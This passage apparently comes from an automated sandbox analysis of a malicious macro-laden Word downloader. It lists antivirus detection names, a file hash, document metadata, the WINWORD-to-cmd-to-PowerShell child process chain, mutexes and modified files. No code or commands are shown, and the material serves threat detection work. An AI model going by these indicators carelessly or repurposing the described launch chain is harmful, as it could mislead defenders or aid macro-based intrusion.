  755. "F-Secure": "Heuristic.HEUR/Macro.Downloader.LPA.Gen"
  756.  
  757.  
  758. "TrendMicro": "W2KM_POWLOAD.THAABCAH"
  759.  
  760.  
  761. "McAfee-GW-Edition": "BehavesLike.Downloader.mg"
  762.  
  763.  
  764. "SentinelOne": "DFI - Malicious OLE"
  765.  
  766.  
  767. "Avira": "HEUR/Macro.Downloader.LPA.Gen"
  768.  
  769.  
  770. "MAX": "malware (ai score=99)"
  771.  
  772.  
  773. "Antiy-AVL": "TrojanDownloader/MSOffice.Agent.lau"
  774.  
  775.  
  776. "Endgame": "malicious (high confidence)"
  777.  
  778.  
  779. "Microsoft": "Trojan:O97M/Obfuse.AT"
  780.  
  781.  
  782. "AegisLab": "Trojan.MSOffice.SAgent.4!c"
  783.  
  784.  
  785. "ZoneAlarm": "HEUR:Trojan.MSOffice.SAgent.gen"
  786.  
  787.  
  788. "GData": "Macro.Trojan-Downloader.Cerber.J"
  789.  
  790.  
  791. "McAfee": "Artemis!2F7AA1E921B9"
  792.  
  793.  
  794. "TACHYON": "Suspicious/W97M.Obfus.Gen.6"
  795.  
  796.  
  797. "Zoner": "Probably W97Shell"
  798.  
  799.  
  800. "Rising": "Downloader.Agent!8.B23 (TOPIS:E0:waxTpaG6GkE)"
  801.  
  802.  
  803. "Ikarus": "Trojan-Downloader.VBA.Agent"
  804.  
  805.  
  806. "F-Prot": "W97M/Macro.gen"
  807.  
  808.  
  809. "Qihoo-360": "virus.office.qexvmc.1070"
  810.  
  811.  
  812.  
  813.  
  814. "Description": "Clamav Hits in Target/Dropped/SuriExtracted",
  815. "Details":
  816.  
  817. "target": "clamav:Doc.Malware.00536d-6723914-0, sha256:dd9054151bad753fddd25fba92085b4244d0aeb33efefb121ae3ed31394c3184, type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Title: Stand-alone national projection, Subject: Arkansas Thelma, Author: (737)112-4560, Comments: Synergistic needs-based array, Template: Normal, Last Saved By: Windows, Revision Number: 10, Name of Creating Application: Microsoft Office Word, Total Editing Time: 02:00, Create Time/Date: Thu Apr 19 18:59:00 2018, Last Saved Time/Date: Thu Oct 18 08:48:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0"
  818.  
  819.  
  820. "dropped": "clamav:Doc.Malware.00536d-6723914-0, sha256:dd9054151bad753fddd25fba92085b4244d0aeb33efefb121ae3ed31394c3184 , guest_paths:C:\\Users\\user\\AppData\\Local\\Temp\\Docs_2f7aa1e921b9db69793389c136ce3734.doc, type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Title: Stand-alone national projection, Subject: Arkansas Thelma, Author: (737)112-4560, Comments: Synergistic needs-based array, Template: Normal, Last Saved By: Windows, Revision Number: 10, Name of Creating Application: Microsoft Office Word, Total Editing Time: 02:00, Create Time/Date: Thu Apr 19 18:59:00 2018, Last Saved Time/Date: Thu Oct 18 08:48:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0"
  821.  
  822.  
  823.  
  824.  
  825. "Description": "Martian Subprocess Started By Office Process",
  826. "Details":
  827.  
  828. "office_martian": "c:\\windows\\syswow64\\cmd.exe"
  829.  
  830.  
  831. "office_martian": "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe"
  832.  
  833.  
  834.  
  835.  
  836. "Description": "The office file has a macro.",
  837. "Details":
  838.  
  839. "content": "The file appears to have no content."
  840.  
  841.  
  842.  
  843.  
  844. "Description": "The office file created a suspicious child process.",
  845. "Details":
  846.  
  847. "Processes": "WINWORD.EXE -> cmd.exe -> powershell.exe"
  848.  
  849.  
  850.  
  851.  
  852.  
  853. * Started Service:
  854. "osppsvc"
  855.  
  856.  
  857. * Mutexes:
  858. "Global\\MTX_MSO_Formal1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  859. "Global\\MTX_MSO_AdHoc1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  860. "5CAC3FAB-87F0-4750-984D-D50144543427-VER15",
  861. "CicLoadWinStaWinSta0",
  862. "Local\\MSCTF.CtfMonitorInstMutexDefault1",
  863. "Global\\552FFA80-3393-423d-8671-7BA046BB5906",
  864. "Global\\MsoShellExtRegAccess_S-1-5-21-0000000000-0000000000-0000000000-1000",
  865. "Local\\F99C425F-9135-43ed-BD7D-396DE488DC53",
  866. "Global\\CLR_CASOFF_MUTEX",
  867. "Global\\.net clr networking"
  868.  
  869.  
  870. * Modified Files:
  871. "C:\\Users\\user\\AppData\\Local\\Temp\\Docs_2f7aa1e921b9db69793389c136ce3734.doc",
  872. "C:\\Users\\user\\AppData\\Local\\Temp\\~DF429DC36F379DDBD2.TMP",
  873. "C:\\Users\\user\\AppData\\Local\\Temp\\~$cs_2f7aa1e921b9db69793389c136ce3734.doc",
  874. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  875. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  876. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS44AD2FF2-FCFD-4E4D-B211-A7255556D3FD.tmp",
  877. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  878. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  879. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA42C.tmp",
  880. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA42D.tmp",
  881. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC",
  882. "C:\\Users\\user\\AppData\\Local\\Temp\\cabADB4.tmp",
  883. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAE03.tmp",
  884. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAE14.tmp",
  885. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAE15.tmp",
  886. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAE16.tmp",
  887. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAE26.tmp",
  888. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAE27.tmp",
  889. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAEA5.tmp",
  890. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAEE5.tmp",
  891. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAEE6.tmp",
  892. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAEF6.tmp",
  893. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAF18.tmp",
  894. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAF07.tmp",
  895. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAF29.tmp",
  896. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAF3A.tmp",
  897. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAF28.tmp",
  898. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAF7A.tmp",
  899. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAF8B.tmp",
  900. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAF9C.tmp",
  901. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAF4B.tmp",
  902. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAFAD.tmp",
  903. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAFDD.tmp",
  904. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB02C.tmp",
  905. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAF9D.tmp",
  906. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB03D.tmp",
  907. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB06D.tmp",
  908. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB07D.tmp",
  909. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB12A.tmp",
  910. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD",
  911. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD",
  912. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB1F7.tmp",
  913. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB237.tmp",
  914. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB1F6.tmp",
  915. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB2F3.tmp",
  916. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB323.tmp",
  917. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB334.tmp",
  918. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB335.tmp",
  919. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB3C4.tmp",
  920. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB3A3.tmp",
  921. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB3E4.tmp",
  922. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB491.tmp",
  923. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB4FF.tmp",
  924. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21",
  925. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21",
  926. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB57D.tmp",
  927. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB60B.tmp",
  928. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB63B.tmp",
  929. "C:\\Users\\user\\AppData\\Local\\Temp\\CabB6B9.tmp",
  930. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB6DA.tmp",
  931. "C:\\Users\\user\\AppData\\Local\\Temp\\TarB6BA.tmp",
  932. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB796.tmp",
  933. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F90F18257CBB4D84216AC1E1F3BB2C76",
  934. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F90F18257CBB4D84216AC1E1F3BB2C76",
  935. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB95C.tmp",
  936. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB97D.tmp",
  937. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBA58.tmp\\sist02.xsl",
  938. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBAD6.tmp\\mlaseventheditionofficeonline.xsl",
  939. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBB16.tmp",
  940. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBA58.tmp\\Content.inf",
  941. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBAD6.tmp\\Content.inf",
  942. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBB65.tmp\\iso690nmerical.xsl",
  943. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBBF7.tmp\\Banded.thmx",
  944. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBBA5.tmp\\Badge.thmx",
  945. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBBC5.tmp\\TabbedArc.glox",
  946. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBC38.tmp",
  947. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBBD5.tmp\\pictureorgchart.glox",
  948. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBBC5.tmp\\Content.inf",
  949. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC49.tmp\\Berlin.thmx",
  950. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBC9C.tmp",
  951. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBBE6.tmp\\content.inf",
  952. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC07.tmp\\Equations.dotx",
  953. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBBD5.tmp\\Content.inf",
  954. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBCFC.tmp",
  955. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC28.tmp\\iso690.xsl",
  956. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC59.tmp\\gosttitle.xsl",
  957. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBD4E.tmp",
  958. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBB65.tmp\\Content.inf",
  959. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC6A.tmp\\ThemePictureGrid.glox",
  960. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC9B.tmp\\content.inf",
  961. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBBE6.tmp\\Frame.thmx",
  962. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC8A.tmp\\architecture.glox",
  963. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD0C.tmp\\ThemePictureAlternatingAccent.glox",
  964. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC9B.tmp\\Dividend.thmx",
  965. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC8A.tmp\\Content.inf",
  966. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC6A.tmp\\Content.inf",
  967. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD7E.tmp\\content.inf",
  968. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD2E.tmp\\content.inf",
  969. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBCEB.tmp\\Headlines.thmx",
  970. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD90.tmp\\Crop.thmx",
  971. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC28.tmp\\Content.inf",
  972. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBDC0.tmp\\ThemePictureAccent.glox",
  973. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD2D.tmp\\gb.xsl",
  974. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD2E.tmp\\Parallax.thmx",
  975. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD7E.tmp\\Metropolitan.thmx",
  976. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD0C.tmp\\Content.inf",
  977. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC07.tmp\\Content.inf",
  978. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBDC0.tmp\\Content.inf",
  979. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD7F.tmp\\Circuit.thmx",
  980. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC59.tmp\\Content.inf",
  981. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBE03.tmp\\CircleProcess.glox",
  982. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBDD2.tmp\\VaryingWidthList.glox",
  983. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBE34.tmp\\HexagonRadial.glox",
  984. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBBF7.tmp\\content.inf",
  985. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBDD1.tmp\\content.inf",
  986. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBDF2.tmp\\BracketList.glox",
  987. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBEB4.tmp\\content.inf",
  988. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBDD2.tmp\\Content.inf",
  989. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBE03.tmp\\Content.inf",
  990. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBE23.tmp\\ieee2006officeonline.xsl",
  991. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBE92.tmp\\TabList.glox",
  992. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBE34.tmp\\Content.inf",
  993. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBDD1.tmp\\Wood_Type.thmx",
  994. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851227fn=sist02.xsl",
  995. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD8F.tmp\\RadialPictureList.glox",
  996. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBE92.tmp\\Content.inf",
  997. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBEB4.tmp\\Droplet.thmx",
  998. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC49.tmp\\content.inf",
  999. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD2D.tmp\\Content.inf",
  1000. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBEA3.tmp\\content.inf",
  1001. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBFED.tmp\\PictureFrame.glox",
  1002. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBDF2.tmp\\Content.inf",
  1003. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD8F.tmp\\Content.inf",
  1004. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC04D.tmp\\turabian.xsl",
  1005. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC04C.tmp\\Text Sidebar (Annual Report Red and Black design).docx",
  1006. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD90.tmp\\Content.inf",
  1007. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBCEB.tmp\\Content.inf",
  1008. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBE23.tmp\\Content.inf",
  1009. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBEA3.tmp\\Quotable.thmx",
  1010. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC169.tmp\\InterconnectedBlockProcess.glox",
  1011. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328935fn=Picture Organization Chart.glox",
  1012. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC264.tmp\\rings.glox",
  1013. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBFED.tmp\\Content.inf",
  1014. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC0DB.tmp\\ConvergingText.glox",
  1015. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC0AC.tmp\\chicago.xsl",
  1016. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC264.tmp\\Content.inf",
  1017. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC04C.tmp\\Content.inf",
  1018. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC169.tmp\\Content.inf",
  1019. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851225fn=mlaseventheditionofficeonline.xsl",
  1020. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC0DB.tmp\\Content.inf",
  1021. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328884fn=architecture.glox",
  1022. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC3EC.tmp\\harvardanglia2008officeonline.xsl",
  1023. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328951fn=Tabbed Arc.glox",
  1024. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328975fn=Theme Picture Accent.glox",
  1025. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001103fn=Headlines.thmx",
  1026. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851224fn=iso690nmerical.xsl",
  1027. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC5B2.tmp\\gostname.xsl",
  1028. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033925fn=Droplet.thmx",
  1029. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457496fn=Parallax.thmx",
  1030. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851220fn=gosttitle.xsl",
  1031. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC04D.tmp\\Content.inf",
  1032. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328990fn=Varying Width List.glox",
  1033. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC612.tmp\\APASixthEditionOfficeOnline.xsl",
  1034. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457475fn=Frame.thmx",
  1035. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001106fn=Badge.thmx",
  1036. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851223fn=iso690.xsl",
  1037. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851218fn=gb.xsl",
  1038. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457491fn=Metropolitan.thmx",
  1039. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328983fn=Theme Picture Alternating Accent.glox",
  1040. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328908fn=Circle Process.glox",
  1041. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC5C2.tmp\\Element design set.dotx",
  1042. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328972fn=Tab List.glox",
  1043. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328919fn=Hexagon Radial.glox",
  1044. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328986fn=Theme Picture Grid.glox",
  1045. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM01840907fn=Equations.dotx",
  1046. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD7F.tmp\\content.inf",
  1047. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC612.tmp\\Content.inf",
  1048. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC0AC.tmp\\Content.inf",
  1049. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033917fn=Berlin.thmx",
  1050. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC3EC.tmp\\Content.inf",
  1051. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03090430fn=Banded.thmx",
  1052. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851222fn=ieee2006officeonline.xsl",
  1053. "C:\\Users\\user\\AppData\\Local\\Temp\\cabCA39.tmp",
  1054. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC5C2.tmp\\Content.inf",
  1055. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457464fn=Dividend.thmx",
  1056. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328998fn=Rings.glox",
  1057. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328893fn=BracketList.glox",
  1058. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001105fn=Crop.thmx",
  1059. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC5B2.tmp\\Content.inf",
  1060. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCAD6.tmp\\content.inf",
  1061. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033919fn=Circuit.thmx",
  1062. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328940fn=Radial Picture List.glox",
  1063. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851226fn=turabian.xsl",
  1064. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM02835233fn=Text Sidebar (Annual Report Red and Black design).docx",
  1065. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03090434fn=Wood Type.thmx",
  1066. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCC3F.tmp\\content.inf",
  1067. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCC8E.tmp\\Feathered.thmx",
  1068. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCC3F.tmp\\Slate.thmx",
  1069. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851216fn=apasixtheditionofficeonline.xsl",
  1070. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328916fn=Converging Text.glox",
  1071. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328932fn=Picture Frame.glox",
  1072. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM03998158fn=Element.dotx",
  1073. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCD3B.tmp\\Basis.thmx",
  1074. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851217fn=chicago.xsl",
  1075. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCDE8.tmp\\content.inf",
  1076. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328925fn=Interconnected Block Process.glox",
  1077. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCE66.tmp\\content.inf",
  1078. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCEA6.tmp\\Insight design set.dotx",
  1079. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCE86.tmp\\chevronaccent.glox",
  1080. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCE66.tmp\\View.thmx",
  1081. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCDE8.tmp\\Damask.thmx",
  1082. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCE86.tmp\\Content.inf",
  1083. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457510fn=Savon.thmx",
  1084. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851219fn=gostname.xsl",
  1085. "C:\\Users\\user\\AppData\\Local\\Temp\\cabCF43.tmp",
  1086. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCD3B.tmp\\content.inf",
  1087. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCC8E.tmp\\Content.inf",
  1088. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457503fn=Quotable.thmx",
  1089. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457515fn=View.thmx",
  1090. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851221fn=harvardanglia2008officeonline.xsl",
